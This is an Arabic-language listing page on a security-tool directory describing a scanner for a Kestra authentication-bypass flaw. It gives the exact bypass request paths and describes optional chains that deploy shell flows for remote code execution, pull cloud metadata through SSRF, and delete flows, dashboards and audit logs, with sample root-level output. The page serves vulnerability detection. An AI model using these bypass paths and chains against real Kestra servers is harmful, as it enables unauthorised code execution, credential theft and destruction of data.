Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass Vulnerability Checker | Kitploit
أدوات/GitHubGitHub/ap0dexme0/cve-2026-49869
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالمصادقة
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass Vulnerability Checker

عرض المستودع
115منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ماسح Kestra CVE-2026-49869 / CVE-2026-53576

يقوم بفحص نسخ Kestra بحثًا عن تجاوز فلتر المصادقة endsWith("/configs"). يتحقق AuthenticationFilter.java في Kestra من request.getPath().endsWith("/configs") بدلاً من مطابقة المسار التام /api/v1/configs. نظرًا لأن Kestra تعالج الموارد عبر مقاطع مسار يختارها المتصل (مساحة الاسم، معرف التدفق)، فإن أي مسار ينتهي بـ /configs يتجاوز المصادقة الأساسية مما يتيح إنشاء تدفقات غير مصادق عليها وتنفيذ تعليمات برمجية عن بُعد. (CVSS 10.0)

المراجع:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 مصادقة غير صحيحة / حقن أوامر نظام / قائمة غير كاملة من المدخلات غير المسموح بها
  • CVE-2026-53576

منطق الكشف

  1. فحص البقاء + الإصدار GET /api/v1/configs (يجب أن يعيد 200؛ يُحلل جسم الاستجابة لاستخراج إصدار Kestra)
  2. فحص المصادقة GET /api/v1/{tenant}/flows (يجب أن يعيد 401/403 إذا كانت المصادقة مُطبقة)
  3. استكشافات التجاوز 6 طلبات GET إلى مسارات تنتهي بـ /configs؛ إذا أعاد أي منها غير 401/403 بينما فحص المصادقة يلزم، فإن المثيل عرضة للخطر
  4. الوضع العدواني (--aggressive) يرسل أيضًا طلبات PUT لتأكيد إمكانية التجاوز للكتابة
  5. التحقق من RCE (--rce) السلسلة الكاملة: إنشاء تدفق شل/بايثون → تشغيل التنفيذ → استرداد السجلات → تأكيد تنفيذ الأمر → التنظيف
  6. كشف SSRF (--ssrf) ينشئ تدفقًا يستخدم http() من Pebble لاستهداف بيانات تعريف السحابة AWS/GCP/Azure ونقاط النهاية الداخلية، ثم يتحقق من السجلات بحثًا عن أدلة
  7. استكشافات DELETE (--destructive) يرسل DELETE إلى مسارات تجاوز التدفقات ولوحات المعلومات والسجلات لتأكيد تجاوز العمليات التدميرية

نقاط الاختبار

اختبارات آمنة (افتراضي)

الاختبارالطريقةالمسارالوصف
الإعدادات العامةGET/api/v1/configsفحص البقاء + استخراج الإصدار
الحماية العاديةGET/api/v1/{tenant}/flowsأساس تطبيق المصادقة
تجاوز التدفقاتGET/api/v1/{tenant}/flows/{namespace}/configsتجاوز قائمة التدفقات
تجاوز التنفيذاتGET/api/v1/{tenant}/executions/{namespace}/configsتجاوز التنفيذ
تجاوز مخزن KVGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsتجاوز قراءة KV
تجاوز لوحات المعلوماتGET/api/v1/{tenant}/dashboards/configsتجاوز لوحة المعلومات
تجاوز السجلاتGET/api/v1/{tenant}/logs/{namespace}/configsتجاوز الوصول للسجلات
تجاوز القوالبGET/api/v1/{tenant}/templates/{namespace}/configsتجاوز قراءة القالب

اختبارات عدوانية (--aggressive)

الاختبارالطريقةالمسارالوصف
تجاوز PUT للتدفقاتPUTنفس تجاوز التدفقاتينشئ تدفقًا بسيطًا debug.Return
تجاوز PUT لـ KVPUTنفس تجاوز KVينشئ إدخال KV {"scanned": true}

اختبارات تدميرية (--destructive)

الاختبارالطريقةالمسارالوصف
تجاوز DELETE للتدفقاتDELETEنفس تجاوز التدفقاتيحذف موردًا باسم "configs"
تجاوز DELETE للوحات المعلوماتDELETEنفس تجاوز لوحات المعلوماتيحذف لوحة معلومات باسم "configs"
تجاوز DELETE للسجلاتDELETEنفس تجاوز السجلاتيدمر سجلات التدقيق

سلسلة التحقق من RCE (--rce)

تعمل فقط عند تأكيد تجاوز المصادقة. السلسلة الكاملة من الإعلان الأمني:

الخطوةالطريقةالمسارالوصف
1. إنشاء تدفق RCEPUT/api/v1/{tenant}/flows/{namespace}/configsينشر تدفقًا باستخدام io.kestra.plugin.scripts.shell.Commands (echo <marker>، id، hostname). يتراجع إلى io.kestra.plugin.scripts.python.Script في حالة الفشل.
2. تشغيل التنفيذPOST/api/v1/{tenant}/executions/{namespace}/configsيبدأ التدفق عبر مسار التجاوز
3. استقصاء السجلاتGET/api/v1/{tenant}/logs/search?executionId=<id>يستقصي حتى --poll-retries مرة (افتراضي 10) كل --poll-interval ثانية (افتراضي 3) بحثًا عن علامة RCE الفريدة
4. التنظيفDELETEنفس الخطوة 1يزيل التدفق المنشور

سلسلة كشف SSRF (--ssrf)

تعمل فقط عند تأكيد تجاوز المصادقة:

الخطوةالطريقةالمسارالوصف
1. إنشاء تدفق SSRFPUT/api/v1/{tenant}/flows/{namespace}/configsينشر مهمة debug.Return مع استدعاءات Pebble http() إلى AWS (169.254.169.254/latest/meta-data/ami-id) و GCP (metadata.google.internal) و Azure (169.254.169.254/metadata/instance) وداخلية (127.0.0.1:8080/api/v1/configs)
2. تشغيل التنفيذPOSTنفس خطوة RCE 2يشغل التدفق
3. استقصاء السجلاتGET/api/v1/{tenant}/logs/search?executionId=<id>يتحقق من وجود مؤشرات بيانات تعريف السحابة (ami-، i-، 169.254.169.254، metadata.google.internal، إلخ.)
4. التنظيفDELETEنفس الخطوة 1يزيل التدفق المنشور

مرجع سطر الأوامر

positional:
  target                          رابط الهدف (مثل http://localhost:8080)

options:
  -f, --file                      ملف يحتوي على أهداف (سطر واحد لكل هدف)
  -t, --timeout                   مهلة الطلب بالثواني (افتراضي: 10)
  --verify-ssl                    التحقق من شهادات TLS
  -j, --json                      إخراج JSON إلى stdout
  -o, --output                    كتابة تقرير JSON إلى ملف
  --tenant                        اسم المستأجر (افتراضي: "main")
  --namespace                     مساحة الاسم لمسارات التجاوز (افتراضي: "tutorial")
  -w, --workers                   عدد الخيوط للمسح الجماعي (افتراضي: 10)
  -a, --aggressive                إرسال طلبات PUT لتأكيد تجاوز الكتابة
  -P, --auto-ports                المنافذ للتوسيع التلقائي (افتراضي: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       تفعيل سلسلة التحقق من RCE (تدفق شل + بايثون،
                                   تشغيل التنفيذ، استرداد السجلات، التنظيف التلقائي)
  -s, --ssrf                      تفعيل كشف SSRF (Pebble http() لنقاط نهاية بيانات تعريف
                                   السحابة، جمع الأدلة من السجلات)
  -d, --destructive               تفعيل استكشافات DELETE على التدفقات ولوحات المعلومات
                                   والسجلات (سيحذف الموارد على المثيلات الضعيفة)
  --poll-interval                 الثواني بين استقصاءات السجلات لسلاسل RCE/SSRF (افتراضي: 3)
  --poll-retries                  الحد الأقصى لمحاولات استقصاء السجلات لسلاسل RCE/SSRF (افتراضي: 10)

الإخراج

هدف واحد

تفصيل كامل لكل اختبار مع إثراء (الإصدار، حالة RCE، SSRF، DELETE) والحكم:

====================================================================
  Target:    http://10.0.0.1:8080
  Timestamp: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (AFFECTED)
  RCE:          CONFIRMED via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         DETECTED
    | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE BYPASS: CONFIRMED destructive ops bypass auth

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      YES

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      No

  ...

  ── RCE Verification Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Log Evidence: 200
      > SCAN_RCE_a1b2c3d4e5f6
      > uid=0(root) gid=0(root) groups=0(root)
    Flow Cleanup: 204

  ── SSRF Detection Chain ──
    Flow Create: 201
    Exec Trigger: 201
    Evidence: 200
      Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
    Flow Cleanup: 204

  [VULN]  Verdict: VULNERABLE ...
====================================================================

ملخص الجملة

جدول عمودي مرتب مع أعمدة RCE/SSRF/DEL:

تنزيل الأداة